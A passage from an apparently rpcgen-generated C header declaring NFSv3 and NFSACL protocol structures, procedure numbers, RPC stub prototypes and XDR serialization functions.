dir_wcc; 717 | }; 718 | typedef struct RMDIR3resok RMDIR3resok; 719 | 720 | struct RMDIR3resfail { 721 | wcc_data dir_wcc; 722 | }; 723 | typedef struct RMDIR3resfail RMDIR3resfail; 724 | 725 | struct RMDIR3res { 726 | nfsstat3 status; 727 | union { 728 | RMDIR3resok resok; 729 | RMDIR3resfail resfail; 730 | } RMDIR3res_u; 731 | }; 732 | typedef struct RMDIR3res RMDIR3res; 733 | 734 | struct RENAME3args { 735 | diropargs3 from; 736 | diropargs3 to; 737 | }; 738 | typedef struct RENAME3args RENAME3args; 739 | 740 | struct RENAME3resok { 741 | wcc_data fromdir_wcc; 742 | wcc_data todir_wcc; 743 | }; 744 | typedef struct RENAME3resok RENAME3resok; 745 | 746 | struct RENAME3resfail { 747 | wcc_data fromdir_wcc; 748 | wcc_data todir_wcc; 749 | }; 750 | typedef struct RENAME3resfail RENAME3resfail; 751 | 752 | struct RENAME3res { 753 | nfsstat3 status; 754 | union { 755 | RENAME3resok resok; 756 | RENAME3resfail resfail; 757 | } RENAME3res_u; 758 | }; 759 | typedef struct RENAME3res RENAME3res; 760 | 761 | struct READDIRPLUS3args { 762 | nfs_fh3 dir; 763 | cookie3 cookie; 764 | cookieverf3 cookieverf; 765 | count3 dircount; 766 | count3 maxcount; 767 | }; 768 | typedef struct READDIRPLUS3args READDIRPLUS3args; 769 | 770 | struct entryplus3 { 771 | fileid3 fileid; 772 | filename3 name; 773 | cookie3 cookie; 774 | post_op_attr name_attributes; 775 | post_op_fh3 name_handle; 776 | struct entryplus3 *nextentry; 777 | }; 778 | typedef struct entryplus3 entryplus3; 779 | 780 | struct dirlistplus3 { 781 | entryplus3 *entries; 782 | bool_t eof; 783 | }; 784 | typedef struct dirlistplus3 dirlistplus3; 785 | 786 | struct READDIRPLUS3resok { 787 | post_op_attr dir_attributes; 788 | cookieverf3 cookieverf; 789 | dirlistplus3 reply; 790 | }; 791 | typedef struct READDIRPLUS3resok READDIRPLUS3resok; 792 | 793 | struct READDIRPLUS3resfail { 794 | post_op_attr dir_attributes; 795 | }; 796 | typedef struct READDIRPLUS3resfail READDIRPLUS3resfail; 797 | 798 | struct READDIRPLUS3res { 799 | nfsstat3 status; 800 | union { 801 | READDIRPLUS3resok resok; 802 | READDIRPLUS3resfail resfail; 803 | } READDIRPLUS3res_u; 804 | }; 805 | typedef struct READDIRPLUS3res READDIRPLUS3res; 806 | 807 | struct READDIR3args { 808 | nfs_fh3 dir; 809 | cookie3 cookie; 810 | cookieverf3 cookieverf; 811 | count3 count; 812 | }; 813 | typedef struct READDIR3args READDIR3args; 814 | 815 | struct entry3 { 816 | fileid3 fileid; 817 | filename3 name; 818 | cookie3 cookie; 819 | struct entry3 *nextentry; 820 | }; 821 | typedef struct entry3 entry3; 822 | 823 | struct dirlist3 { 824 | entry3 *entries; 825 | bool_t eof; 826 | }; 827 | typedef struct dirlist3 dirlist3; 828 | 829 | struct READDIR3resok { 830 | post_op_attr dir_attributes; 831 | cookieverf3 cookieverf; 832 | dirlist3 reply; 833 | }; 834 | typedef struct READDIR3resok READDIR3resok; 835 | 836 | struct READDIR3resfail { 837 | post_op_attr dir_attributes; 838 | }; 839 | typedef struct READDIR3resfail READDIR3resfail; 840 | 841 | struct READDIR3res { 842 | nfsstat3 status; 843 | union { 844 | READDIR3resok resok; 845 | READDIR3resfail resfail; 846 | } READDIR3res_u; 847 | }; 848 | typedef struct READDIR3res READDIR3res; 849 | 850 | struct LINK3args { 851 | nfs_fh3 file; 852 | diropargs3 link; 853 | }; 854 | typedef struct LINK3args LINK3args; 855 | 856 | struct LINK3resok { 857 | post_op_attr file_attributes; 858 | wcc_data linkdir_wcc; 859 | }; 860 | typedef struct LINK3resok LINK3resok; 861 | 862 | struct LINK3resfail { 863 | post_op_attr file_attributes; 864 | wcc_data linkdir_wcc; 865 | }; 866 | typedef struct LINK3resfail LINK3resfail; 867 | 868 | struct LINK3res { 869 | nfsstat3 status; 870 | union { 871 | LINK3resok resok; 872 | LINK3resfail resfail; 873 | } LINK3res_u; 874 | }; 875 | typedef struct LINK3res LINK3res; 876 | 877 | struct sattrguard3 { 878 | bool_t check; 879 | union { 880 | nfstime3 obj_ctime; 881 | } sattrguard3_u; 882 | }; 883 | typedef struct sattrguard3 sattrguard3; 884 | 885 | struct SETATTR3args { 886 | nfs_fh3 object; 887 | sattr3 new_attributes; 888 | sattrguard3 guard; 889 | }; 890 | typedef struct SETATTR3args SETATTR3args; 891 | 892 | struct SETATTR3resok { 893 | wcc_data obj_wcc; 894 | }; 895 | typedef struct SETATTR3resok SETATTR3resok; 896 | 897 | struct SETATTR3resfail { 898 | wcc_data obj_wcc; 899 | }; 900 | typedef struct SETATTR3resfail SETATTR3resfail; 901 | 902 | struct SETATTR3res { 903 | nfsstat3 status; 904 | union { 905 | SETATTR3resok resok; 906 | SETATTR3resfail resfail; 907 | } SETATTR3res_u; 908 | }; 909 | typedef struct SETATTR3res SETATTR3res; 910 | 911 | enum nfsacl_type { 912 | NFSACL_TYPE_USER_OBJ = 0x0001, 913 | NFSACL_TYPE_USER = 0x0002, 914 | NFSACL_TYPE_GROUP_OBJ = 0x0004, 915 | NFSACL_TYPE_GROUP = 0x0008, 916 | NFSACL_TYPE_CLASS_OBJ = 0x0010, 917 | NFSACL_TYPE_CLASS = 0x0020, 918 | NFSACL_TYPE_DEFAULT = 0x1000, 919 | NFSACL_TYPE_DEFAULT_USER_OBJ = 0x1001, 920 | NFSACL_TYPE_DEFAULT_USER = 0x1002, 921 | NFSACL_TYPE_DEFAULT_GROUP_OBJ = 0x1004, 922 | NFSACL_TYPE_DEFAULT_GROUP = 0x1008, 923 | NFSACL_TYPE_DEFAULT_CLASS_OBJ = 0x1010, 924 | NFSACL_TYPE_DEFAULT_OTHER_OBJ = 0x1020, 925 | }; 926 | typedef enum nfsacl_type nfsacl_type; 927 | #define NFSACL_PERM_READ 0x04 928 | #define NFSACL_PERM_WRITE 0x02 929 | #define NFSACL_PERM_EXEC 0x01 930 | 931 | struct nfsacl_ace { 932 | enum nfsacl_type type; 933 | u_int id; 934 | u_int perm; 935 | }; 936 | typedef struct nfsacl_ace nfsacl_ace; 937 | #define NFSACL_MASK_ACL_ENTRY 0x0001 938 | #define NFSACL_MASK_ACL_COUNT 0x0002 939 | #define NFSACL_MASK_ACL_DEFAULT_ENTRY 0x0004 940 | #define NFSACL_MASK_ACL_DEFAULT_COUNT 0x0008 941 | 942 | struct GETACL3args { 943 | nfs_fh3 dir; 944 | u_int mask; 945 | }; 946 | typedef struct GETACL3args GETACL3args; 947 | 948 | struct GETACL3resok { 949 | post_op_attr attr; 950 | u_int mask; 951 | u_int ace_count; 952 | struct { 953 | u_int ace_len; 954 | struct nfsacl_ace *ace_val; 955 | } ace; 956 | u_int default_ace_count; 957 | struct { 958 | u_int default_ace_len; 959 | struct nfsacl_ace *default_ace_val; 960 | } default_ace; 961 | }; 962 | typedef struct GETACL3resok GETACL3resok; 963 | 964 | struct GETACL3res { 965 | nfsstat3 status; 966 | union { 967 | GETACL3resok resok; 968 | } GETACL3res_u; 969 | }; 970 | typedef struct GETACL3res GETACL3res; 971 | 972 | struct SETACL3args { 973 | nfs_fh3 dir; 974 | u_int mask; 975 | u_int ace_count; 976 | struct { 977 | u_int ace_len; 978 | struct nfsacl_ace *ace_val; 979 | } ace; 980 | u_int default_ace_count; 981 | struct { 982 | u_int default_ace_len; 983 | struct nfsacl_ace *default_ace_val; 984 | } default_ace; 985 | }; 986 | typedef struct SETACL3args SETACL3args; 987 | 988 | struct SETACL3resok { 989 | post_op_attr attr; 990 | }; 991 | typedef struct SETACL3resok SETACL3resok; 992 | 993 | struct SETACL3res { 994 | nfsstat3 status; 995 | union { 996 | SETACL3resok resok; 997 | } SETACL3res_u; 998 | }; 999 | typedef struct SETACL3res SETACL3res; 1000 | 1001 | #define NFS_PROGRAM 100003 1002 | #define NFS_V3 3 1003 | 1004 | #if defined(__STDC__) || defined(__cplusplus) 1005 | #define NFS3_NULL 0 1006 | extern void * nfs3_null_3(void *, CLIENT *); 1007 | extern void * nfs3_null_3_svc(void *, struct svc_req *); 1008 | #define NFS3_GETATTR 1 1009 | extern GETATTR3res * nfs3_getattr_3(GETATTR3args *, CLIENT *); 1010 | extern GETATTR3res * nfs3_getattr_3_svc(GETATTR3args *, struct svc_req *); 1011 | #define NFS3_SETATTR 2 1012 | extern SETATTR3res * nfs3_setattr_3(SETATTR3args *, CLIENT *); 1013 | extern SETATTR3res * nfs3_setattr_3_svc(SETATTR3args *, struct svc_req *); 1014 | #define NFS3_LOOKUP 3 1015 | extern LOOKUP3res * nfs3_lookup_3(LOOKUP3args *, CLIENT *); 1016 | extern LOOKUP3res * nfs3_lookup_3_svc(LOOKUP3args *, struct svc_req *); 1017 | #define NFS3_ACCESS 4 1018 | extern ACCESS3res * nfs3_access_3(ACCESS3args *, CLIENT *); 1019 | extern ACCESS3res * nfs3_access_3_svc(ACCESS3args *, struct svc_req *); 1020 | #define NFS3_READLINK 5 1021 | extern READLINK3res * nfs3_readlink_3(READLINK3args *, CLIENT *); 1022 | extern READLINK3res * nfs3_readlink_3_svc(READLINK3args *, struct svc_req *); 1023 | #define NFS3_READ 6 1024 | extern READ3res * nfs3_read_3(READ3args *, CLIENT *); 1025 | extern READ3res * nfs3_read_3_svc(READ3args *, struct svc_req *); 1026 | #define NFS3_WRITE 7 1027 | extern WRITE3res * nfs3_write_3(WRITE3args *, CLIENT *); 1028 | extern WRITE3res * nfs3_write_3_svc(WRITE3args *, struct svc_req *); 1029 | #define NFS3_CREATE 8 1030 | extern CREATE3res * nfs3_create_3(CREATE3args *, CLIENT *); 1031 | extern CREATE3res * nfs3_create_3_svc(CREATE3args *, struct svc_req *); 1032 | #define NFS3_MKDIR 9 1033 | extern MKDIR3res * nfs3_mkdir_3(MKDIR3args *, CLIENT *); 1034 | extern MKDIR3res * nfs3_mkdir_3_svc(MKDIR3args *, struct svc_req *); 1035 | #define NFS3_SYMLINK 10 1036 | extern SYMLINK3res * nfs3_symlink_3(SYMLINK3args *, CLIENT *); 1037 | extern SYMLINK3res * nfs3_symlink_3_svc(SYMLINK3args *, struct svc_req *); 1038 | #define NFS3_MKNOD 11 1039 | extern MKNOD3res * nfs3_mknod_3(MKNOD3args *, CLIENT *); 1040 | extern MKNOD3res * nfs3_mknod_3_svc(MKNOD3args *, struct svc_req *); 1041 | #define NFS3_REMOVE 12 1042 | extern REMOVE3res * nfs3_remove_3(REMOVE3args *, CLIENT *); 1043 | extern REMOVE3res * nfs3_remove_3_svc(REMOVE3args *, struct svc_req *); 1044 | #define NFS3_RMDIR 13 1045 | extern RMDIR3res * nfs3_rmdir_3(RMDIR3args *, CLIENT *); 1046 | extern RMDIR3res * nfs3_rmdir_3_svc(RMDIR3args *, struct svc_req *); 1047 | #define NFS3_RENAME 14 1048 | extern RENAME3res * nfs3_rename_3(RENAME3args *, CLIENT *); 1049 | extern RENAME3res * nfs3_rename_3_svc(RENAME3args *, struct svc_req *); 1050 | #define NFS3_LINK 15 1051 | extern LINK3res * nfs3_link_3(LINK3args *, CLIENT *); 1052 | extern LINK3res * nfs3_link_3_svc(LINK3args *, struct svc_req *); 1053 | #define NFS3_READDIR 16 1054 | extern READDIR3res * nfs3_readdir_3(READDIR3args *, CLIENT *); 1055 | extern READDIR3res * nfs3_readdir_3_svc(READDIR3args *, struct svc_req *); 1056 | #define NFS3_READDIRPLUS 17 1057 | extern READDIRPLUS3res * nfs3_readdirplus_3(READDIRPLUS3args *, CLIENT *); 1058 | extern READDIRPLUS3res * nfs3_readdirplus_3_svc(READDIRPLUS3args *, struct svc_req *); 1059 | #define NFS3_FSSTAT 18 1060 | extern FSSTAT3res * nfs3_fsstat_3(FSSTAT3args *, CLIENT *); 1061 | extern FSSTAT3res * nfs3_fsstat_3_svc(FSSTAT3args *, struct svc_req *); 1062 | #define NFS3_FSINFO 19 1063 | extern FSINFO3res * nfs3_fsinfo_3(FSINFO3args *, CLIENT *); 1064 | extern FSINFO3res * nfs3_fsinfo_3_svc(FSINFO3args *, struct svc_req *); 1065 | #define NFS3_PATHCONF 20 1066 | extern PATHCONF3res * nfs3_pathconf_3(PATHCONF3args *, CLIENT *); 1067 | extern PATHCONF3res * nfs3_pathconf_3_svc(PATHCONF3args *, struct svc_req *); 1068 | #define NFS3_COMMIT 21 1069 | extern COMMIT3res * nfs3_commit_3(COMMIT3args *, CLIENT *); 1070 | extern COMMIT3res * nfs3_commit_3_svc(COMMIT3args *, struct svc_req *); 1071 | extern int nfs_program_3_freeresult (SVCXPRT *, xdrproc_t, caddr_t); 1072 | 1073 | #else /* K&R C */ 1074 | #define NFS3_NULL 0 1075 | extern void * nfs3_null_3(); 1076 | extern void * nfs3_null_3_svc(); 1077 | #define NFS3_GETATTR 1 1078 | extern GETATTR3res * nfs3_getattr_3(); 1079 | extern GETATTR3res * nfs3_getattr_3_svc(); 1080 | #define NFS3_SETATTR 2 1081 | extern SETATTR3res * nfs3_setattr_3(); 1082 | extern SETATTR3res * nfs3_setattr_3_svc(); 1083 | #define NFS3_LOOKUP 3 1084 | extern LOOKUP3res * nfs3_lookup_3(); 1085 | extern LOOKUP3res * nfs3_lookup_3_svc(); 1086 | #define NFS3_ACCESS 4 1087 | extern ACCESS3res * nfs3_access_3(); 1088 | extern ACCESS3res * nfs3_access_3_svc(); 1089 | #define NFS3_READLINK 5 1090 | extern READLINK3res * nfs3_readlink_3(); 1091 | extern READLINK3res * nfs3_readlink_3_svc(); 1092 | #define NFS3_READ 6 1093 | extern READ3res * nfs3_read_3(); 1094 | extern READ3res * nfs3_read_3_svc(); 1095 | #define NFS3_WRITE 7 1096 | extern WRITE3res * nfs3_write_3(); 1097 | extern WRITE3res * nfs3_write_3_svc(); 1098 | #define NFS3_CREATE 8 1099 | extern CREATE3res * nfs3_create_3(); 1100 | extern CREATE3res * nfs3_create_3_svc(); 1101 | #define NFS3_MKDIR 9 1102 | extern MKDIR3res * nfs3_mkdir_3(); 1103 | extern MKDIR3res * nfs3_mkdir_3_svc(); 1104 | #define NFS3_SYMLINK 10 1105 | extern SYMLINK3res * nfs3_symlink_3(); 1106 | extern SYMLINK3res * nfs3_symlink_3_svc(); 1107 | #define NFS3_MKNOD 11 1108 | extern MKNOD3res * nfs3_mknod_3(); 1109 | extern MKNOD3res * nfs3_mknod_3_svc(); 1110 | #define NFS3_REMOVE 12 1111 | extern REMOVE3res * nfs3_remove_3(); 1112 | extern REMOVE3res * nfs3_remove_3_svc(); 1113 | #define NFS3_RMDIR 13 1114 | extern RMDIR3res * nfs3_rmdir_3(); 1115 | extern RMDIR3res * nfs3_rmdir_3_svc(); 1116 | #define NFS3_RENAME 14 1117 | extern RENAME3res * nfs3_rename_3(); 1118 | extern RENAME3res * nfs3_rename_3_svc(); 1119 | #define NFS3_LINK 15 1120 | extern LINK3res * nfs3_link_3(); 1121 | extern LINK3res * nfs3_link_3_svc(); 1122 | #define NFS3_READDIR 16 1123 | extern READDIR3res * nfs3_readdir_3(); 1124 | extern READDIR3res * nfs3_readdir_3_svc(); 1125 | #define NFS3_READDIRPLUS 17 1126 | extern READDIRPLUS3res * nfs3_readdirplus_3(); 1127 | extern READDIRPLUS3res * nfs3_readdirplus_3_svc(); 1128 | #define NFS3_FSSTAT 18 1129 | extern FSSTAT3res * nfs3_fsstat_3(); 1130 | extern FSSTAT3res * nfs3_fsstat_3_svc(); 1131 | #define NFS3_FSINFO 19 1132 | extern FSINFO3res * nfs3_fsinfo_3(); 1133 | extern FSINFO3res * nfs3_fsinfo_3_svc(); 1134 | #define NFS3_PATHCONF 20 1135 | extern PATHCONF3res * nfs3_pathconf_3(); 1136 | extern PATHCONF3res * nfs3_pathconf_3_svc(); 1137 | #define NFS3_COMMIT 21 1138 | extern COMMIT3res * nfs3_commit_3(); 1139 | extern COMMIT3res * nfs3_commit_3_svc(); 1140 | extern int nfs_program_3_freeresult (); 1141 | #endif /* K&R C */ 1142 | 1143 | #define NFSACL_PROGRAM 100227 1144 | #define NFSACL_V3 3 1145 | 1146 | #if defined(__STDC__) || defined(__cplusplus) 1147 | #define NFSACL3_NULL 0 1148 | extern void * nfsacl3_null_3(void *, CLIENT *); 1149 | extern void * nfsacl3_null_3_svc(void *, struct svc_req *); 1150 | #define NFSACL3_GETACL 1 1151 | extern GETACL3res * nfsacl3_getacl_3(GETACL3args *, CLIENT *); 1152 | extern GETACL3res * nfsacl3_getacl_3_svc(GETACL3args *, struct svc_req *); 1153 | #define NFSACL3_SETACL 2 1154 | extern SETACL3res * nfsacl3_setacl_3(SETACL3args *, CLIENT *); 1155 | extern SETACL3res * nfsacl3_setacl_3_svc(SETACL3args *, struct svc_req *); 1156 | extern int nfsacl_program_3_freeresult (SVCXPRT *, xdrproc_t, caddr_t); 1157 | 1158 | #else /* K&R C */ 1159 | #define NFSACL3_NULL 0 1160 | extern void * nfsacl3_null_3(); 1161 | extern void * nfsacl3_null_3_svc(); 1162 | #define NFSACL3_GETACL 1 1163 | extern GETACL3res * nfsacl3_getacl_3(); 1164 | extern GETACL3res * nfsacl3_getacl_3_svc(); 1165 | #define NFSACL3_SETACL 2 1166 | extern SETACL3res * nfsacl3_setacl_3(); 1167 | extern SETACL3res * nfsacl3_setacl_3_svc(); 1168 | extern int nfsacl_program_3_freeresult (); 1169 | #endif /* K&R C */ 1170 | 1171 | /* the xdr functions */ 1172 | 1173 | #if defined(__STDC__) || defined(__cplusplus) 1174 | extern bool_t xdr_cookieverf3 (XDR *, cookieverf3); 1175 | extern bool_t xdr_uint64 (XDR *, uint64*); 1176 | extern bool_t xdr_cookie3 (XDR *, cookie3*); 1177 | extern bool_t xdr_nfs_fh3 (XDR *, nfs_fh3*); 1178 | extern bool_t xdr_filename3 (XDR *, filename3*); 1179 | extern bool_t xdr_diropargs3 (XDR *, diropargs3*); 1180 | extern bool_t xdr_ftype3 (XDR *, ftype3*); 1181 | extern bool_t xdr_mode3 (XDR *, mode3*); 1182 | extern bool_t xdr_uid3 (XDR *, uid3*); 1183 | extern bool_t xdr_gid3 (XDR *, gid3*); 1184 | extern bool_t xdr_size3 (XDR *, size3*); 1185 | extern bool_t xdr_fileid3 (XDR *, fileid3*); 1186 | extern bool_t xdr_specdata3 (XDR *, specdata3*); 1187 | extern bool_t xdr_nfstime3 (XDR *, nfstime3*); 1188 | extern bool_t xdr_fattr3 (XDR *, fattr3*); 1189 | extern bool_t xdr_post_op_attr (XDR *, post_op_attr*); 1190 | extern bool_t xdr_nfsstat3 (XDR *, nfsstat3*); 1191 | extern bool_t xdr_stable_how (XDR *, stable_how*); 1192 | extern bool_t xdr_offset3 (XDR *, offset3*); 1193 | extern bool_t xdr_count3 (XDR *, count3*); 1194 | extern bool_t xdr_wcc_attr (XDR *, wcc_attr*); 1195 | extern bool_t xdr_pre_op_attr (XDR *, pre_op_attr*); 1196 | extern bool_t xdr_wcc_data (XDR *, wcc_data*); 1197 | extern bool_t xdr_WRITE3args (XDR *, WRITE3args*); 1198 | extern bool_t xdr_writeverf3 (XDR *, writeverf3); 1199 | extern bool_t xdr_WRITE3resok (XDR *, WRITE3resok*); 1200 | extern bool_t xdr_WRITE3resfail (XDR *, WRITE3resfail*); 1201 | extern bool_t xdr_WRITE3res (XDR *, WRITE3res*); 1202 | extern bool_t xdr_LOOKUP3args (XDR *, LOOKUP3args*); 1203 | extern bool_t xdr_LOOKUP3resok (XDR *, LOOKUP3resok*); 1204 | extern bool_t xdr_LOOKUP3resfail (XDR *, LOOKUP3resfail*); 1205 | extern bool_t xdr_LOOKUP3res (XDR *, LOOKUP3res*); 1206 | extern bool_t xdr_COMMIT3args (XDR *, COMMIT3args*); 1207 | extern bool_t xdr_COMMIT3resok (XDR *, COMMIT3resok*); 1208 | extern bool_t xdr_COMMIT3resfail (XDR *, COMMIT3resfail*); 1209 | extern bool_t xdr_COMMIT3res (XDR *, COMMIT3res*); 1210 | extern bool_t xdr_ACCESS3args (XDR *, ACCESS3args*); 1211 | extern bool_t xdr_ACCESS3resok (XDR *, ACCESS3resok*); 1212 | extern bool_t xdr_ACCESS3resfail (XDR *, ACCESS3resfail*); 1213 | extern bool_t xdr_ACCESS3res (XDR *, ACCESS3res*); 1214 | extern bool_t xdr_GETATTR3args (XDR *, GETATTR3args*); 1215 | extern bool_t xdr_GETATTR3resok (XDR *, GETATTR3resok*); 1216 | extern bool_t xdr_GETATTR3res (XDR *, GETATTR3res*); 1217 | extern bool_t xdr_time_how (XDR *, time_how*); 1218 | extern bool_t xdr_set_mode3 (XDR *, set_mode3*); 1219 | extern bool_t xdr_set_uid3 (XDR *, set_uid3*); 1220 | extern bool_t xdr_set_gid3 (XDR *, set_gid3*); 1221 | extern bool_t xdr_set_size3 (XDR *, set_size3*); 1222 | extern bool_t xdr_set_atime (XDR *, set_atime*); 1223 | extern bool_t xdr_set_mtime (XDR *, set_mtime*); 1224 | extern bool_t xdr_sattr3 (XDR *, sattr3*); 1225 | extern bool_t xdr_createmode3 (XDR *, createmode3*); 1226 | extern bool_t xdr_createverf3 (XDR *, createverf3); 1227 | extern bool_t xdr_createhow3 (XDR *, createhow3*); 1228 | extern bool_t xdr_CREATE3args (XDR *, CREATE3args*); 1229 | extern bool_t xdr_post_op_fh3 (XDR *, post_op_fh3*); 1230 | extern bool_t xdr_CREATE3resok (XDR *, CREATE3resok*); 1231 | extern bool_t xdr_CREATE3resfail (XDR *, CREATE3resfail*); 1232 | extern bool_t xdr_CREATE3res (XDR *, CREATE3res*); 1233 | extern bool_t xdr_REMOVE3args (XDR *, REMOVE3args*); 1234 | extern bool_t xdr_REMOVE3resok (XDR *, REMOVE3resok*); 1235 | extern bool_t xdr_REMOVE3resfail (XDR *, REMOVE3resfail*); 1236 | extern bool_t xdr_REMOVE3res (XDR *, REMOVE3res*); 1237 | extern bool_t xdr_READ3args (XDR *, READ3args*); 1238 | extern bool_t xdr_READ3resok (XDR *, READ3resok*); 1239 | extern bool_t xdr_READ3resfail (XDR *, READ3resfail*); 1240 | extern bool_t xdr_READ3res (XDR *, READ3res*); 1241 | extern bool_t xdr_FSINFO3args (XDR *, FSINFO3args*); 1242 | extern bool_t xdr_FSINFO3resok (XDR *, FSINFO3resok*); 1243 | extern bool_t xdr_FSINFO3resfail (XDR *, FSINFO3resfail*); 1244 | extern bool_t xdr_FSINFO3res (XDR *, FSINFO3res*); 1245 | extern bool_t xdr_FSSTAT3args (XDR *, FSSTAT3args*); 1246 | extern bool_t xdr_FSSTAT3resok (XDR *, FSSTAT3resok*); 1247 | extern bool_t xdr_FSSTAT3resfail (XDR *, FSSTAT3resfail*); 1248 | extern bool_t xdr_FSSTAT3res (XDR *, FSSTAT3res*); 1249 | extern bool_t xdr_PATHCONF3args (XDR *, PATHCONF3args*); 1250 | extern bool_t xdr_PATHCONF3resok (XDR *, PATHCONF3resok*); 1251 | extern bool_t xdr_PATHCONF3resfail (XDR *, PATHCONF3resfail*); 1252 | extern bool_t xdr_PATHCONF3res (XDR *, PATHCONF3res*); 1253 | extern bool_t xdr_nfspath3 (XDR *, nfspath3*); 1254 | extern bool_t xdr_symlinkdata3 (XDR *, symlinkdata3*); 1255 | extern bool_t xdr_SYMLINK3args (XDR *, SYMLINK3args*); 1256 | extern bool_t xdr_SYMLINK3resok (XDR *, SYMLINK3resok*); 1257 | extern bool_t xdr_SYMLINK3resfail (XDR *, SYMLINK3resfail*); 1258 | extern bool_t xdr_SYMLINK3res (XDR *, SYMLINK3res*); 1259 | extern bool_t xdr_READLINK3args (XDR *, READLINK3args*); 1260 | extern bool_t xdr_READLINK3resok (XDR *, READLINK3resok*); 1261 | extern bool_t xdr_READLINK3resfail (XDR *, READLINK3resfail*); 1262 | extern bool_t xdr_READLINK3res (XDR *, READLINK3res*); 1263 | extern bool_t xdr_devicedata3 (XDR *, devicedata3*); 1264 | extern bool_t xdr_mknoddata3 (XDR *, mknoddata3*); 1265 | extern bool_t xdr_MKNOD3args (XDR *, MKNOD3args*); 1266 | extern bool_t xdr_MKNOD3resok (XDR *, MKNOD3resok*); 1267 | extern bool_t xdr_MKNOD3resfail (XDR *, MKNOD3resfail*); 1268 | extern bool_t xdr_MKNOD3res (XDR *, MKNOD3res*); 1269 | extern bool_t xdr_MKDIR3args (XDR *, MKDIR3args*); 1270 | extern bool_t xdr_MKDIR3resok (XDR *, MKDIR3resok*); 1271 | extern bool_t xdr_MKDIR3resfail (XDR *, MKDIR3resfail*); 1272 | extern bool_t xdr_MKDIR3res (XDR *, MKDIR3res*); 1273 | extern bool_t xdr_RMDIR3args (XDR *, RMDIR3args*); 1274 | extern bool_t xdr_RMDIR3resok (XDR *, RMDIR3resok*); 1275 | extern bool_t xdr_RMDIR3resfail (XDR *, RMDIR3resfail*); 1276 | extern bool_t xdr_RMDIR3res (XDR *, RMDIR3res*); 1277 | extern bool_t xdr_RENAME3args (XDR *, RENAME3args*); 1278 | extern bool_t xdr_RENAME3resok (XDR *, RENAME3resok*); 1279 | extern bool_t xdr_RENAME3resfail (XDR *, RENAME3resfail*); 1280 | extern bool_t xdr_RENAME3res (XDR *, RENAME3res*); 1281 | extern bool_t xdr_READDIRPLUS3args (XDR *, READDIRPLUS3args*); 1282 | extern bool_t xdr_entryplus3 (XDR *, entryplus3*); 1283 | extern bool_t xdr_dirlistplus3 (XDR *, dirlistplus3*); 1284 | extern bool_t xdr_READDIRPLUS3resok (XDR *, READDIRPLUS3resok*); 1285 | extern bool_t xdr_READDIRPLUS3resfail (XDR *, READDIRPLUS3resfail*); 1286 | extern bool_t xdr_READDIRPLUS3res (XDR *, READDIRPLUS3res*); 1287 | extern bool_t xdr_READDIR3args (XDR *, READDIR3args*); 1288 | extern bool_t xdr_entry3 (XDR *, entry3*); 1289 | extern bool_t xdr_dirlist3 (XDR *, dirlist3*); 1290 | extern bool_t xdr_READDIR3resok (XDR *, READDIR3resok*); 1291 | extern bool_t xdr_READDIR3resfail (XDR *, READDIR3resfail*); 1292 | extern bool_t xdr_READDIR3res (XDR *, READDIR3res*); 1293 | extern bool_t xdr_LINK3args (XDR *, LINK3args*); 1294 | extern bool_t xdr_LINK3resok (XDR *, LINK3resok*); 1295 | extern bool_t xdr_LINK3resfail (XDR *, LINK3resfail*); 1296 | extern bool_t xdr_LINK3res (XDR *, LINK3res*); 1297 | extern bool_t xdr_sattrguard3 (XDR *, sattrguard3*); 1298 | extern bool_t xdr_SETATTR3args (XDR *, SETATTR3args*); 1299 | extern bool_t xdr_SETATTR3resok (XDR *, SETATTR3resok*); 1300 | extern bool_t xdr_SETATTR3resfail (XDR *, SETATTR3resfail*); 1301 | extern bool_t xdr_SETATTR3res (XDR *, SETATTR3res*); 1302 | extern bool_t xdr_nfsacl_type (XDR *, nfsacl_type*); 1303 | extern bool_t xdr_nfsacl_ace (XDR *, nfsacl_ace*); 1304 | extern bool_t xdr_GETACL3args (XDR *, GETACL3args*); 1305 | extern bool_t xdr_GETACL3resok (XDR *, GETACL3resok*); 1306 | extern bool_t xdr_GETACL3res (XDR *, GETACL3res*); 1307 | extern bool_t xdr_SETACL3args (XDR *, SETACL3args*); 1308 | extern bool_t xdr_SETACL3resok (XDR *, SETACL3resok*); 1309 | extern bool_t xdr_SETACL3res (XDR *, SETACL3res*); 1310 | 1311 | #else /* K&R C */ 1312 | extern bool_t xdr_cookieverf3 (); 1313 | extern bool_t xdr_uint64 (); 1314 | extern bool_t xdr_cookie3 (); 1315 | extern bool_t xdr_nfs_fh3 (); 1316 | extern bool_t xdr_filename3 (); 1317 | extern bool_t xdr_diropargs3 (); 1318 | extern bool_t xdr_ftype3 (); 1319 | extern bool_t xdr_mode3 (); 1320 | extern bool_t xdr_uid3 (); 1321 | extern bool_t xdr_gid3 (); 1322 | extern bool_t xdr_size3 (); 1323 | extern bool_t xdr_fileid3 (); 1324 | extern bool_t xdr_specdata3 (); 1325 | extern bool_t xdr_nfstime3 (); 1326 | extern bool_t xdr_fattr3 (); 1327 | extern bool_t xdr_post_op_attr (); 1328 | extern bool_t xdr_nfsstat3 (); 1329 | extern bool_t xdr_stable_how (); 1330 | extern bool_t xdr_offset3 (); 1331 | extern bool_t xdr_count3 (); 1332 | extern bool_t xdr_wcc_attr (); 1333 | extern bool_t xdr_pre_op_attr (); 1334 | extern bool_t xdr_wcc_data (); 1335 | extern bool_t xdr_WRITE3args (); 1336 | extern bool_t xdr_writeverf3 (); 1337 | extern bool_t xdr_WRITE3resok (); 1338 | extern bool_t xdr_WRITE3resfail (); 1339 | extern bool_t xdr_WRITE3res (); 1340 | extern bool_t xdr_LOOKUP3args (); 1341 | extern bool_t xdr_LOOKUP3resok (); 1342 | extern bool_t xdr_LOOKUP3resfail (); 1343 | extern bool_t xdr_LOOKUP3res (); 1344 | extern bool_t xdr_COMMIT3args (); 1345 | extern bool_t xdr_COMMIT3resok (); 1346 | extern bool_t xdr_COMMIT3resfail (); 1347 | extern bool_t xdr_COMMIT3res (); 1348 | extern bool_t xdr_ACCESS3args (); 1349 | extern bool_t xdr_ACCESS3resok (); 1350 | extern bool_t xdr_ACCESS3resfail (); 1351 | extern bool_t xdr_ACCESS3res (); 1352 | extern bool_t xdr_GETATTR3args (); 1353 | extern bool_t xdr_GETATTR3resok (); 1354 | extern bool_t xdr_GETATTR3res (); 1355 | extern bool_t xdr_time_how (); 1356 | extern bool_t xdr_set_mode3 (); 1357 | extern bool_t xdr_set_uid3 (); 1358 | extern bool_t xdr_set_gid3 (); 1359 | extern bool_t xdr_set_size3 (); 1360 | extern bool_t xdr_set_atime (); 1361 | extern bool_t xdr_set_mtime (); 1362 | extern bool_t xdr_sattr3 (); 1363 | extern bool_t xdr_createmode3 (); 1364 | extern bool_t 